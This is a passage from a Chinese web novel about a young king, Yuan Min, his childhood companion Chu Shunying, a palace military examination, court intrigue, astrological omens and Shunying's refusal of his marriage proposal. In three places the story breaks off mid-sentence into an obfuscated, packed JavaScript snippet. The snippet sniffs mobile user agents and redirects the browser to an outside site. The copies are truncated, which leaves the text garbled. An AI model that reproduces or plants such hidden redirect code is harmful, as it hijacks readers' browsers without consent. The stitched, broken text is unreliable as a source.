元旻对于她仍然是重要的,却不再是他所期待的、她曾经对他的那种爱慕。 轻轻伸出手,替他盖好薄薄的被子,她在心底悄声说:“抱歉,陛下。” 四月的午后有些暑热,玲珑透雕的茶花圆珠钮三足玉炉里、袅袅燃着清甜的月麟香,劳累了不知多久的元旻酣甜入梦,左手压在她右边衣袖上。 她一时不知如何应对,生怕抽出衣袖惊醒了他、更不敢起身就走,只好把手搁在那不敢动,再悄声吩咐宫人送来冰鉴为他扇风。 屋外冯姮与冬雪的谈笑声逐渐低了,只听偶尔一声花剪细微的“咔擦”。 元旻这一午寐就是两三个时辰,醒来已是暮色四合,只见帐幔拉得严实,窗外寂寂无声。 舜英坐在窗前,点燃一枝艾草、嵩草、雄黄搓成的防蚊火绳,插进白瓷香炉里,又倒了半杯放凉的茶汤慢慢饮着。 他目不转睛看了半晌,忽然轻声道:“要不,今晚别回去了。” 舜英饮茶的动作僵住了,而后剧烈呛咳起来。 元旻才意识到有歧义,忙轻咳两声,解释说:“明早跟我去集贤殿吧,这一来一回折腾不少时间,反正这里闲置的宫舍不少。” 舜英正迟疑,门外传来宫人的声音:“娘娘命奴婢候着,若陛下醒了,就同褚娘子一道请去用晚膳。” “看来今晚去不成上书房了”,元旻叹了口气,转向她道,“许久未曾好好用晚膳,阿英也来吧。” 二人走进前殿,冬雪忙着人去传膳,候在桌前的除了冯姮,还有个十五六岁的少女,见他们进来,趋步上前跪地叩首:“鹤华向陛下、王后请安,陛下万年,王后千秋。” 舜英有些尴尬,正不知如何回礼,元旻却仿佛被“王后”二字取悦,扶起元昙温声道:“此处并无陛下,只有兄嫂与母亲。” 借着灯树熠熠辉光,舜英仅是瞟了她一瞬,霎时移不开眼。 世间怎会有如此美人? 细腻白皙的鹅蛋脸,鸦色长眉若玉羽,瑞凤眼大而清澈、却透出不自知的媚,两颊还有点婴儿肥未退,腮凝新荔,小巧的双唇若樱红,著粉则太白,施朱则太赤;肩如削成、腰如束素,纤秾合度,增之一分则太长,减之一分则太短。 崔夫人所出的七公主,其美貌风韵尤胜其母。更因其羽眉轻蹙,眼含清愁,多了无限惹人心疼的楚楚可怜。 想到宫人所说,崔夫人饮鸩自绝时,元昙全程目睹。 不禁恻隐,让年仅十一岁的孩子眼睁睁地,看父母在短短数日相继过世,再孑然一身去面对与生母有宿怨的嫡母和兄弟,是怎样的残忍? 冯姮示意宫人将一对枕囊呈上来,檀色绢帛缝成直袋,绣着精巧的曲水、流云和鸟羽,隐隐渗出菊蕊、菖蒲、艾草的清香,笑道:“你这个幼妹最贴心,阿昙,就与四哥说说这枕囊有何讲究?” 元昙低头,声音柔婉,像清泉淙淙流过白石:“幼妹无能,不能为陛下分忧,念陛下夙兴夜寐,又听御医曾讲决明、菊蕊明目清心,夜藤、合欢皮镇静宁神,艾叶、菖蒲可稍微纾解疲累,承蒙不弃,愿对陛下康健有所裨益。” 元旻忙命人好生收起来,送到勤政殿换上,笑道:“正愁夜来难得安寝,阿昙此物甚是贴心。” 见他喜欢,元昙松了口气,恭声就要告退。舜英瞥了一眼冯姮,忙留元昙一起用膳,冯姮在一旁看着,眼神慈柔、微微颔首。 摆好膳后,舜英亲自替她布菜,轻声问她素日爱吃些什么,又问她读书几年了、是否爱骑马射箭之类。 元旻与冯姮相视而笑,一边用膳一边时不时替舜英补充一二,一顿饭吃得又和睦又融洽,元昙泫然欲泣的脸上也有了笑意。 说来甚是可悯,元昙一直养在浮玉宫,自小痴迷音律,五岁启蒙,正经只入学五年,未入佳境便摊上了幼弟溺毙、母亲兄弟谋逆,崔夫人被幽禁、冯姮又不便插手浮玉宫的事,她的教育也就此耽误了。 此后崔夫人薨逝,元琤当政、冯姮失权、元璟被软禁,更是无人理会她。所幸崔夫人陪嫁的苏嬷嬷忠诚,与她相依为命,最艰难时主仆二人竟整年无新衣、连吃了半月馊饭。 元昙目睹母亲离世,四年来噩梦连连,待元旻继位后更是日夜忧惧,生生将个明艳美人儿磋磨成了愁肠百结的病西施。 元旻不愿为难一介柔弱孤女,却也无法洒脱地将过往一笔勾销,只得顺台阶接了这份曲意讨好,权作替她宽心。舜英会意,才有了晚膳时对元昙的关怀备至。 . 次日,便是永平一年四月二十,匆匆筹备的恩科经过半年擢选,终于在昨天走到了殿试。 刚过寅时,勤政殿的女官岚烟就守在了兴庆宫偏殿,舜英闲散了近半年,磨蹭快两刻才清醒了些。 一开门,岚烟领着二十多人齐刷刷挤了一屋子,服侍她画好精致妆面后,珍而重之揭开檀香木托上的莹白丝绸,谨小慎微地铺展开来,竟是一套重工满绣的衣袍。 交领襦裙是月白上衫、荼白下裳,用金丝银线织出曲水流云暗纹,天青色缂丝褙子上以孔雀羽线绣出九对神鸟、山川河流,全是王室专用的图纹。 岚烟得了授意,生等着她换好这套王后常服才放她出门。 行至集贤殿前,元旻已等候多时,听见脚步声慢慢转过身,上下打量她一番,唇角绽出个满意的笑,对她伸出手来。 看清他穿着的瞬间,舜英一个趔趄。 他亦穿着用金丝银线织出曲水流云暗纹的月白窄袖上衫、荼白下裳,天青色交领缂丝比甲以孔雀羽线绣出九对神鸟、日月星辰。 日月星辰为乾,山川河流为坤,他们的服饰正是一对。 甚好,鸿胪寺和御史台该疯了。 “随他们说去”,瞧出她心中所想,元旻满不在乎,“此次恩科筹措匆忙,殿试仅有武选,如此大事却只盯着衣袍,未免可笑。” 集贤殿前门外已搭起高台,伞盖下人头攒动。随宦官通报,齐齐起身,元旻抬手制止,走到最中心空着的位置落座,众人才纷纷回座,一齐看向台下那上百名考生。 舜英留意在座考官的冠服,逐一看过去:三公有丞相元璟、御史大夫卢照仪,九卿有国尉元晞、大司农云飞燕、太仆正姜杭、郎中令崔久安。 另有卫尉卿冯广年、羽林卫正指挥使武燊、羽林卫副指挥使褚钧贤,还有些官秩未知的熟面孔如周士承、王元清、崔玄仁、宣正淼等。 边户、财政、禁军大换血,从龙之功的、母族的、“妻”族的、出身寒门的、平衡氏族的,这碗水端得好。 至于三公之中的太尉……舜英下意识看向元旻,这家伙根本不任命太尉,自己把军权紧紧攥在手里。 正思索着,座次仅低于元旻的元璟忽然偏过头,目光反复在她与元旻衣饰上逡巡,颇有些意味深长。 经他一看,舜英突然发现自己是台上唯一站着的,而场上仅有的空位,似乎是元旻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981248|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落座的那张沉香木双人长椅……右手边的位置。 她忙对元璟敛衽施礼,四下扫视一圈,盯上了云飞燕脚边那张胡床,偷瞄了一眼元旻,想着挤过去。说时迟那时快,元旻眼皮都未掀一下,右臂舒展、抓住她肩膀往下重重一摁…… 不止元璟,正聚精会神看着考场的元晞、武燊、褚钧贤、周士诚、崔玄仁纷纷转头朝她看来。 元旻唇角弯了弯,一言不发。 今日是武选殿试的第二场——内程,选题《武经七书》,考策一题、论一题。 收来试卷却并不如前朝那般糊卷,而是当着在场一百五十名考生、十多名官员,众目睽睽下逐字宣读。 宣读完一人,便由在场位列三公九卿的八位、加一个她,各给“甲乙丙丁戊”五等评价,再宣读各官对该考生评级,搜集好后上呈元旻。 当真是日月经天、胸怀磊落,就是有些费人。 评一个考生约至少需一刻,这样一个个念下去,少说得三天,还得焚膏继晷。 “考生徐尚明,丞相评丙等、国尉评乙等、大司农评乙等、太仆正评丙等、郎中令评丙等、卫尉卿评甲等、羽林卫正指挥使评丙等、羽林卫副指挥使评丙等。” 元旻淡淡道:“考生徐尚明,丙等最多,因国尉、大司农考量乙等,不淘汰,可留用粮曹。” 那人叩头谢恩,擦了把冷汗后将感激的目光投向元晞和云飞燕。 元旻置若罔闻,示意开始宣读下一考生。 果然如她所料,今日的一百五十人,十之八九都要留用,说不定他连去向也已考虑好。如此着急征募武官,再联想年初国库预算中军费陡升,不知他想拿何处的驻军开刀了。 她心念一动,元旻已牵过她的手,借她宽大衣袖的遮掩,以指代笔,慢慢在她掌心写下——“北”。 舜英身躯一震,惊愕地转头看向元旻,胸口石头又沉了几分,不知该如何承接他这沉甸甸的信任。 他所求的,自己可能一生也给不了。 . 同一时间,灵昌北宸殿,宦官高声通报:“渝安水师提督觐见——” 苻沣透过九串彩珠穿成的冕旒,看着熟悉的身影从丹陛上来,沉稳端方地走到殿门,抬腿候着宫人为其解履,忙连声呼喊:“阿洵不必拘礼,直接上殿便是。” 殿门口少年身形顿了顿,依然不紧不慢待宫人脱下了鞋履,然后抬手扶正武弁,振了振紫棠色交领长袍朝服、趋步行至螭陛之下,三跪九叩,额头贴地朗声道:“臣渝安水师提督苻洵觐见陛下,恭祝陛下万寿无疆。” “渝安水师整编小有成效,特回京述职!” 入夜,清泉宫榴花灼灼、木绣球覆霜盖雪,凉风吹散了乍起的暑热,绣球花簇拥的石亭中,石桌已摆上晚膳,苻沣、苻洵对坐饮斟。 苻沣眉间郁郁:“听闻大翊武选已近尾声,不知这大半年的擢选,能出几多良将?” 苻洵摇头:“悬,刚选出来的那些定是无法同世家子相比。” 苻沣蹙眉、诧异道:“不及世家子,却要匆匆擢选上来,却是为何?” 苻洵笑了:“太阿倒持,无可奈何。将才是在沙场练出来的,除非天赋异禀或家学渊源,恩科擢拔出来的大都是中等之才。” “元旻自小巡边犒军数次,虽未上征战前线,坐帅帐、指挥大小战役的次数还是有个几十回的,自然深谙此道。不过图寒门出身的干系少根基浅、用着放心。” “臣弟听闻元旻虚设太尉一职,亲自操刀军务。” 顿了顿,又道:“臣妄自揣测,他是想拿谁开刀了。” 苻沣更诧异:“谁?” 苻洵极目北望,神色逐渐凝重:“若是臣,定先整顿——北。” 39. 星辰乱 苻沣一怔,半晌才缓过来,浅酌一口:“永平王真是天生的君王,如此大国,六七个月就能大致收回权柄,还撑起了征和一朝的新政。” 苻洵眼神悠远:“泱泱之国,末大必折,尾大不掉。翊怀王时,阖宫二三十个王子各有世家支撑,闹了十多年,死得只剩四个王子;其子翊昭王启用新政、实行个三十年或有成效,可惜天不假年;其后世家势力反扑、致使内乱四年,到了元旻这里,变法已是火燎眉梢的事了。” 苻沣点头,目露忧虑:“永平王才二十多岁,此后还有大把寿数去推陈出新,他的才干你我亲眼目睹,翊国兴盛已是大势所趋。” “陛下不必忧心”,苻洵举起黑釉盏向北遥遥一敬,舒臂、缓缓将酒液浇到地上,“若是,元旻比其父,更英年早逝呢?” 转过头的瞬间,眼神犀利如鹰隼。 苻沣震悚,颤声道:“你要作甚?” 只一刹那,苻洵眉眼又舒展开,调侃道:“无他,只是听说元旻经常三更睡五更起,如此辛劳,非长久之相啊…” “积些口德吧”,苻沣松了口气,低叱:“哪有你这样空口白牙咒人去死的?” 苻洵漫不经心:“臣弟在灵昌时,与元旻来往颇多,说话也就随意些,王兄勿怪。” 是挺多的,都联起手来给荣国换了个君主,来往能不多么? “他待你很好,年前你困在蒙舍国山火里,还是他派人救你出来的”,苻沣说着,忽然眼神一凝,“刚过年节,我向翊国呈递了国书,永平王已同意签订盟约。” 苻洵好奇:“去何处订立盟誓?” 苻沣道:“大翊陪都,洛京。” 苻洵有些忧虑:“深入他国,遇到危险怎么办?陛下为何不让丞相代劳?” 苻沣正色道:“永平王若无意结盟,去年八月西陵水师已攻入渝安。当下急需休养生息的不止荣国,还是值得一去…” “哥哥在动身前留了一道诏书,若有不测由你继位,景樊辅政。” 苻洵摇了摇头,柔柔地笑了:“陛下切勿行此不祥之事,洛京,臣替陛下走一趟吧。” 苻沣注视着他,心绪有些复杂:“国书已言明是君王会盟,届时永平王也会去洛京。说句实话,哥一直觉着你的才干见识,比哥更适合做这个王。” 苻洵抬眸与他对视片刻,眼神决然:“臣从无非分之想,请陛下明鉴。” 苻沣举起酒盏示意,一饮而尽,温声道:“这些我自然知晓,只是一直不甚明白,去年你要这个位子易如反掌,为何非拖到我来驰援?” 苻洵亦饮尽盏中酒,笑容沉静而平和:“臣弟福薄,颇多颠沛,却侥幸有过两段最幸福的时光……” “其一,便是三岁那年,陛下推门而入时,那时的天光照进来,照得王兄宛若天神。王兄不曾嫌弃我身世可鄙、蛊虫肮脏可怖,收敛了娘亲骸骨,又将臣弟一路抱回灵昌。” “那段时日臣弟夜夜梦魇,也是陛下与臣同食同宿。那时便发誓,此生尽我所能,将最好的东西都奉给陛下。” 苻沣等了半晌,未听他说其二,忍不住发问:“第二段,是在翊国?” 苻洵含笑不语。 苻沣又试探:“是永平王?” 苻洵转了话题:“听说年初翊国发来婚帖,元旻大婚了?” 苻沣摇头:“你倒真是两耳不闻窗外事。本来说上月大婚,又因天象之说取消了,后面不了了之。” “第一段如此,第二段也如此,他还真是儿戏”,苻洵凉凉道,“也不知那个倒霉的王后是谁家贵女?” 苻沣绞尽脑汁想了半晌:“好像是司南侯府的女公子,至于姓名……不记得了。” 苻洵举在半空的酒盏一滞,若无其事举到唇边,一饮而尽:“倒是门当户对。” “元旻出身高贵,又少年得志,高伯周之女配他确是委屈了些,如今二娘子也已觅得良缘,可谓各生欢喜”,苻沣温柔地注视他,眸中尽是怜悯,“阿洵,就算你曾因救命之恩对他生出别样的……想法,如今也该一别两宽,何至于生恨?” 苻洵也不辩解,只垂眸轻笑。 苻沣忽然转头瞥了一眼,起身道:“玥娘派人来找我了,失陪一下,你今晚就宿在宫中,别回去了。”拍了拍他肩膀以示安慰,便匆匆向提灯宫人的方向走去。 苻洵目送兄长走远,转过头来,自顾自地一盏接一盏饮酒。 “吾之珍宝、汝之草芥,哈哈……”他双目通红,握着酒盏的手越来越紧、剧烈颤抖着,恨声大笑,“好!元旻!你好得很!” 终于忍无可忍,举起那只浅口的黑釉陶盏,重重砸下。 四分五裂,支离破碎。 . 阳华山起地九百六十丈,直入云端。高峰之巅的国庙凰羽寺是一片殿宇,簇拥着正中垒石为基的观星台,环八十一丈,高十一丈。 站在观星台四望,云气在庙宇下蒸腾,头顶是万里天幕,滑净无纤尘,漏下点点星辰光芒。 观星台正中跪坐着一位枯瘦的老妇,玄色深衣用银色丝线绣出二十八宿,周围坐了一圈穿着同样深衣的女子,共有九个,年岁、容貌各不相同,最小的还不到双十年华。 她们齐齐仰头注视南方,神色凝重。 风在高天呼啸而过,吹得她们深衣猎猎作响,她们却纹丝不动,像是化作了与石台一体的雕像。 南方朱雀之尾第七宿,一颗黯淡的伴星光芒渐盛,直至与轸、青丘、土司空、器府四星一般明亮,看上去像轸宿多了一颗主星。 大祭司收回视线,幽幽道:“长沙星骤亮,明与四星等,若五星入轸中,兵祸四起之象啊。闻彤,你下山告知永平王天象有异,整兵备战,切记不可先启战端。” 闻彤神色凝重点头,旁边忽然响起一阵吸气声,有人惊呼:“师父师姐,东方!” 闻彤忙转头看向东方,瞬间脸色煞白:“师父,荧惑星好亮,它停在心宿不动了。” 东方赤色的荧惑星忽光芒大盛。 其余弟子一震,同时转向东方,惊恐地睁大双眼,喃喃道:“荧惑守心……新王刚刚即位,为何会有如此大凶之象?” 大祭司亦抬眼看去:“那已不止荧惑,荧惑之精流散而成昭明,多变起兵之兆啊。” “求师父想想办法”,年岁最小的女弟子霍然出列,两眼含泪看向大祭司,“翊国不能再起内乱,我四哥也不能有意外。” 大祭司注视她良久,漠然道:“永平王即位前孤曾卜筮过,长寿之相。元晴,昔年元湘祭司建凰羽寺便有言,虽为大翊国庙,祈祝的却是天下的福祉,这天下不止一个翊国……纵然应的是大翊,星象既出,更应顺势而为。” 元晴不可置信地拉扯着大祭司袍袖,急切地死死盯向东方天空:“师父,我好像看到它动了一点……师父看啊……” “好像真的动了几分,又停住了,有一颗暗星在牵动荧惑”,大祭司顺着看过去,素来淡漠的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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羽民本为半神之身,生于另一座海岛,直到千年前,那片岛屿在地动与火山中沉入大海。 女王寥天遵循星象指引,率七千羽民自莱东海州港登上蜃洲大陆,遭到望海百族最激烈的抵抗和驱赶,羽民死伤无数。为了仅存的族人可以生存,寥天启动了神族禁术——沧海桑田。 苍穹之上电闪雷鸣、狂风不休、暴雨倾盆。轰隆巨震中,地面裂开无数沟壑,高地凹陷下去为深渊、湖泊升出地面为丘陵,而那从来自西向东的伊河和长流川,猛然掉头、自东向西倒流而上…… 雷电、狂风、暴雨、地动山摇、江水倒流了整整一夜。沿海百里全被夷为废墟,伊河、长流川沿岸皆成泽国。 次日清晨,望海百族从风而服,遵羽民为王。 然而,见到跪伏在地的臣民,寥天眼中无半分笑意,惨然长叹:“我们是在侵略啊,擅启大禁忌术,神遣已至,羽民将神力永失,神遣也将延续数代。” 数年后,女王殒身于地皇山,元穹从前线匆匆赶到,只来得抱起那一对儿女,聆听女王最终的嘱托。 大翊立国后,设国庙凰羽寺,世代遴选羽民中天资出众的女子入庙修行,不仅要为祖先的过错向神明忏悔,更要为蜃洲各国祈福禳灾、以作弥补。 那对儿女,便是大翊百姓耳熟能详的翊太祖元长懋、首任大祭司元湘。 王夫元穹,被太祖元长懋追封为“翊高祖”。 40. 她的心愿 永平一年四月二十三,国尉元晞遵王命,于紫极殿设会武宴。 永平朝的首批武进士皆受邀赴宴,丞相元璟、御史大夫卢照仪、大司农云飞燕、羽林卫副指挥使褚钧贤等荟萃一堂。众人酒酣耳热之际,翊王元旻携未婚妻褚舜英躬逢盛事、以示看重。 繁弦急管、鼓乐喧天,元旻拉着舜英坐在高处。 他今日穿着檀色曲裾箭袖深衣,外罩赤色缂丝风竹暗纹的半袖,舜英穿着银红齐腰衫裙、外罩胭脂色缂丝幽兰暗纹半臂,看上去很是登对。 群臣连连上前为他们祝酒,元旻泰然自若得像是喝水,众目睽睽下,舜英也只能举杯与他同饮。 酒是专为她备的错认水,清甜如酪浆,不禁多饮了几杯,感觉灯火在眼前晃出重影。 茫然四顾,忽然瞥见座次靠前的云飞燕,殿中觥筹交错,不断有人上前敬酒,她浅酌深饮、迎来送往颇为繁忙,眼角眉梢却全是欢畅笑意。 恍惚还是前年冬天,珪山猎屋,众人纷纷唤她“兰夫人”。 她跪拜着,声音却不卑不亢:“渝安云飞燕,拜见殿下。” 问她所求为何,她眼神坚定:“……听闻敝国以北,有国名为大翊,女子也可自立宗祠、出将入仕,飞燕不才,愿报效如此之大国……” 就在此时,堂弟褚钧贤上前祝酒:“祝陛下早日得偿所愿,与堂姐凤协鸾和。”身旁元旻笑了,欣然饮尽杯中酒。 酒越喝越晕,胸中块垒愈发沉滞,她意味深长注视着褚钧贤,佯作喝醉手抖,将满杯酒洒了一地。 元旻不动声色瞟她一眼,转向台下:“朕先失陪,请诸君畅怀。” 然后,她被扶着,深一脚浅一脚、踩着棉花似的走过后殿,恍惚听到元旻斥退宫人和内卫。一出殿门,便身子一轻,被打横抱起。 宫人都退了,四下俱寂,唯有沉静的沉水香和着蜜甜的酒气,萦绕在周身。 元旻抱着她,缓步走在夹道上,声音一如既往地平和:“阿英不胜酒力,我送你回兴庆宫歇着。” 两侧宫墙上伸出簇簇木香,沁人心脾,每隔三丈左右挂风灯两盏。 晦暗灯光投在他高挺的鼻梁上,侧脸轮廓清晰而流畅,八尺之躯挺拔俊逸,气宇轩昂到难以言喻。流光无声,为他褪去少年的清冷自持,也为他赋予英姿勃发的男子气概。 从征和六年到永平一年,从青涩到成熟,十九年岁月,他们的生命曾那样紧密地纠缠在一起。就算执意离分,也早已深深烙下对方的印记。 她忽然迷茫了,所有决心都脆弱得不堪一击。 眼神四下张望,全是巍巍宫墙和丛生的树木,她虚虚渺渺地说:“我刚学轻身工夫那几年,老想偷偷往高处跳,被侍卫追着打,每次摔得快散架……总是你背着我、接我回去。” 元旻脚步未停,唇角微弯,低头温柔注视着她:“有些事,多少年都不会变。” 舜英神思恍惚与他对视,眼睛亮晶晶的:“那时候我还不晓得自己是女子,陛下曾是我最景仰的人。” “你是世上最好看、最灵秀的女子”,元旻仿佛想到什么,脚步一滞,耳根慢慢变得通红、喉结上下滑动,声音涩了几分,“阿英,我是真的喜欢你,虽有冒犯……那个夜晚我至死难忘……” 在那个夜晚之前,她还很喜欢他。现在就算没了以前那种喜欢,却并不愿因此而讨厌他。毕竟过去那么多年,她曾只为他而活,若真的相看厌憎,她又该何以自处? 她默默想着,笑了笑:“那件事,请陛下莫要再提。” 元旻思索许久,认真地说:“阿英,嫁给我、作我的王后可好?你不愿与别的女子分享夫君,我指天发誓,除了你这个王后,从今以后我不会再有任何别的女人。” “你才高气傲,耐不住宫闱寂寞,巡边、阅兵、朝会,只要你高兴,我都带你去。” 他眼神带着哀求:“你不愿做个有名无实的摆设,我所有权力都分你一半。如果你想,隐蝠卫还给你,身家性命全系与你手也很好。” “只是很怀念从前的那个你,这么多年、这么多艰难,我们都挺过来了,如今权势地位都有了,为什么你倒一天比一天郁郁寡欢?” “我当如何做,才能让回到曾经的两无猜嫌?” 一国之君,为她妥协如斯,该满足了吧……何意忧心烈烈? 知我者谓我心忧,不知我者谓我何求。 “谢陛下如此厚爱”,兴庆宫偏殿到了,舜英在地上站定,低头施礼,“只是臣无福消受。” 元旻怔住,眼底的光黯淡下去,声音满是乞求:“阿英,不要叫我陛下,我喜欢你叫我‘阿旻’。” “你忘了么?我们很小就一起住在这,你学说话,第一个会的词是娘娘、第二个就是阿旻,后来我上学、出巡、流落他乡……不管去哪里身边一直是你。” “阿英,我们一直都是彼此在世上最亲密的人,为何不能成为最恩爱的夫妻?” 舜英笑了:“是啊——从小到大,身边就只有你。” “小时候,我是紧随你身后的伴读;长大些,我是你寸步不离的随从。” “后来,你想夺回属于自己的权力地位,我组建飞廉,成为你最忠实的拥戴者。” “如今,你说你想要一个王后,外事、祭祀、庆典、筵席与你出双入对,你穿日月星辰我穿山川河流、你穿凤我穿鸾、你穿风竹我穿幽兰,然后……” 她苦笑着,缓缓将头上的掐丝嵌珊瑚华胜、花丝鸾凤衔玛瑙步摇、攒珠缠丝兰花钗、暖玉红梅簪依次拆下,乌发如瀑垂泄。 然后轻轻褪下胭脂色半袖、银红上衫,摘下腰间香囊、牵住玄色腰带…… 元旻突然意识到她要做什么,惊惶之下颤声道:“阿英,不要这样,停下来……” 舜英置若罔闻,手上稍稍用力,丝绸腰带飘落,薄罗六破裙无声委顿在地。 做完这一切后,她注视着他眼睛,笑容讥诮而冰冷:“……然后,为你侍寝,为你生儿育女,百年之后与你合葬王陵,这辈子从生到死,全是你,也只有你。” 她全身上下只剩一件绰约透光的白纱里衣,夜风并不冷,她却瑟瑟颤栗,走近元旻:“可是,我是谁?何所思?何所求?要去往何处?” 元旻别过脸去,不愿直视衣不蔽体的她:“你是前司南侯褚秋池独女,是大翊冯太后的养女,如果愿意,也会是大翊王后——唯一与我并肩的女人。” “若我不愿意呢?” “那我将一直虚左以待,直到你愿意的那天”,元旻眼神无比坚决,字字掷地有声:“阿英,只有你配与我并肩,你不要这个位置,它就没有存在的意义。” 舜英无声笑起来、苦涩而讥诮,双眸含泪,思索片刻说:“我可以尝试像未婚夫妻那样与你相处,也愿意像亲生母亲那样对待娘娘,更愿意维护司南侯府。但是在这之前,我首先得是褚舜英。” 再度听到类似话语,元旻心头一震,紧接着,更熟悉的话在耳边炸响。 “你们都对我很重要,我却不能只为你们而活。” “武煊追随你,是为了父兄血仇、家族兴盛;云飞燕追随你,是为了开宗立祠、摆脱女子弱势;那些家族追随你,是为了族中子弟在新朝的仕途;寒门子弟追随你,是因为你给他们往上的机会。” “他们虽然臣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981250|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服在你脚下,却都是为了自己心之所求,我羡慕他们——无论地位高低、权势有无,他们总知道自己想要什么。” “陛下是天生的王者,总是有主见、也总能选对路,所以你的心愿总会成为我的。我陪你走过了山河之大、见识了世间百态,却仍不知自己所求的是何物。” “圣人说,见天地、见众生、见自己,我有幸跟着你见了天地、见了众生,却总是见不到自己。” 元旻眼圈红了,一言不发,静静弯腰下去,一件件拾起地上散落的衣饰,轻柔地替她拢上罗裙、系好绸带,再为她披好上衫。 看着那件胭脂红的半袖,沉思半晌,手顿在半空,缓缓抬头:“阿英,这么些年,你跟着我很累吧。” 舜英低头不语。 “我行事从不与人商议,你为我疲于奔命、又总是提心吊胆,是我对不住你……”元旻犹豫再三,重重叹了口气,还是问出了那个扎在心里不知多久的禁忌。 “苻洵虽桀骜偏激,待你却是极好的,又体贴又敞亮。你与他相处时,是否自在愉悦很多?从金州回来那次,你说追随我到成事的那天。成事之后呢,是否是想过去十万大山找他?” 心底一隅被猝不及防掀开,她平静许久的心被陡然一揪。曾是惊鸿照影来,那醒目的红,飞速撕开她苍白寡淡的世界,留下浓墨重彩的一笔回忆。明亮了刹那时光,却旋即渐行渐远、遗失在记忆深处。 “没有想过。”舜英不假思索地回答,又有些惊讶他怎会如此问,再是鲜亮,却来得快去得更快,她根本来不及细想。 她又想起那人曾经的真挚和失望,垂眸轻声叹息:“算我辜负了他的真心,可人生在世,岂能对得住每个人?” 元旻注视着她,眼里满是探究,笑容不甘而落寞:“你是为了让我开心,想骗骗我么?” 舜英坦然地笑了笑:“我可以骗所有人,唯独不愿骗你,无论初衷是什么。” 他眼底似喜似悲,垂眸思索许久,紧紧抱住了她:“还记得那个大傩的谶言么?一个此生挚爱、一个半世纠葛,却不知哪个是我。有时候我真想直接履行婚约,却又不愿看你郁郁寡欢。” 舜英轻声道:“可是我现在郁郁寡欢,不是因为婚约的对象是你。” 元旻若有所思,沉吟半晌、松了口气,试探着说:“我好像懂了一些。始知锁向金笼听,不及林间自在啼,是这样么?” “或许你只是还没习惯,我们可以像你说的那样,先试着像未婚夫妻那样相处。在你下定决心接受册封之前,我不会再拘着你、逼迫你了。” “阿英,我永远在这等你,无论何事,你只管去做。” . “元晴,下山之后,无论何事,你只管去做”,凰羽寺主殿门口,大祭司低声叹息,轻抚着眼前、她最小徒儿的柔软发丝,“你是孤所有弟子中天分最高的,只管按直觉去做,星辰和命运会在冥冥中给你指引。” 元晴抬头,两眼一片疑惑:“师父,弟子为何要下山,去做何事?” 大祭司道:“你在前夜窥见天命,这也是一种干扰,为确保星轨不改,孤已洗去你脑中关于此事的所有记忆。你勿要再想此事,下山后想去哪就去哪,想做甚就去做。” 元晴思索半晌,转过头,极目看向南方:“师父,弟子此刻想去西、又想往南,照师父之意,弟子是该去洛京、戎陵山、摩云山,还是去夔山、木城山、长流川?” 大祭司柔声道:“或许你要去的地方,比翊国边界更远,西羌、荣国、蒙舍十万大山…听从内心的指引,只在想停留处停留。” 元晴沉吟片刻,颔首施礼:“弟子领命。” 41. 少年战神 会武宴后,鸿胪寺的外事突然增多。舜英跟着鸿胪寺少卿周睿才迎来送往多次,逐渐摸索出些门道。 五月上旬,鸿胪寺卿裴玉倾年迈致仕,御史大夫卢照仪综合考评,奏请擢少卿周睿才为鸿胪寺卿,典客丞褚舜英顺位就职鸿胪寺少卿,主理邦交外事。 她过去十九年都是武夫,对邦交间的弯弯绕一筹莫展,这段时日除了鸿胪寺日常公务,剩余时间都泡在集贤殿后的凤图阁、烟海阁。 恶补各国史书、国风民俗、邦交记载、书信来往、宗室关系……去年宫变的内伤本就没有痊愈,如此夜以继日,直看得她两眼昏昏、头大如斗、手软脚软。 冯姮命人从兴庆宫和褚宅取回她常用之物,重新布置了宝慈宫东暖阁供她休憩,又从勤政殿调回春羽照应她,感动得她好几天眼含热泪。 元旻自会武宴后,除了大庆殿朝会,其余时间消失得彻底,只让冯姮转交给她一块可调用所有卷帙的令牌。 呃……也不算消失,他散朝后除了上书房就是勤政殿,这些地方以她从四品的官秩,非召不得擅入。 倒是撞见元璟好几次,盯着她的眼神很是复杂:“圣上的诏书都能说拒就拒了,以前怎没发觉你这样出息?有本事就一直这样硬气。” 她双眼亮晶晶追上去:“师父,徒儿有事请教……” 元璟拂袖:“自己看去,往年教你那么多教狗肚子去了?” “一日为师,终身为父啊师父……” 一提这茬,元璟脸更黑:“也不知当时是谁不想认我当爹,还推给陛下的!” 她巴巴跟在后面:“师父,不能因为我是女的,做不成你儿子,就不管我了。” 元璟站住冷笑道:“你当我是那些没见过女人的傻子,你师父我,女人堆里滚出来的。我头次来灵昌就看出来了,懒得管,你是男是女与我何干?” 女人堆里滚出来,是什么光彩事么?舜英腹诽,又听元璟悠悠道:“如今倒想起有我这个师父,之前什么都推给陛下的时候,做什么去了?” . 